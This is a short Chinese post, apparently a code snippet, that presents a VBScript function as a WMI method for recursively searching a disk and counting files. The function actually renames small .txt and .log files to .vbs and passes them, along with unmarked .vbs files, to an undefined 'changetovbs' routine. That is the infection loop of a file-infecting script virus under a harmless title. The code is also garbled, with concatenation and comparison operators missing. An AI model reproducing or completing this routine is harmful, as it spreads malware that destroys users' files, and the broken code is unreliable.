VBS调用WMI遍历搜索硬盘文件并计数的方法

Function wmisfile(path_sf,justcnt)
  'On Error Resume Next
  StrComputer = "."
  Set ObjWMIService = GetObject("winmgmts:\\"  StrComputer  "\root\cimv2")
  Set FileList = objWMIService.ExecQuery _
  ("ASSOCIATORS OF {Win32_Directory.Name='"  path_sf  "'} Where " _
    "ResultClass = CIM_DataFile")
  For Each objFile In FileList
    fname = LCase(objfile.name)
    ename = LCase(objfile.extension)
    If 1  objfile.filesize And objfile.filesize = 50000 Then
      Select Case ename
        Case "txt","log"
        path_vbs = objfile.drive  objfile.path  objfile.filename  ".vbs"
        objfile.rename(objfile.drive  objFile.Path  objfile.filename  ".vbs")
        Call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        Case "vbs"
        If checkversion(fname) = False Then
          Call changetovbs(fname,fname)
          justcnt = justcnt + 1
        End If
      End Select
    End If
  Next
  Set colSubfolders = objWMIService.ExecQuery _
  ("Associators of {Win32_Directory.Name='"  path_sf  "'} " _
    "Where AssocClass = Win32_Subdirectory " _
    "ResultRole = PartComponent")
  For Each objFolder In colSubfolders
    wmisfile objfolder.name,justcnt
  Next
End Function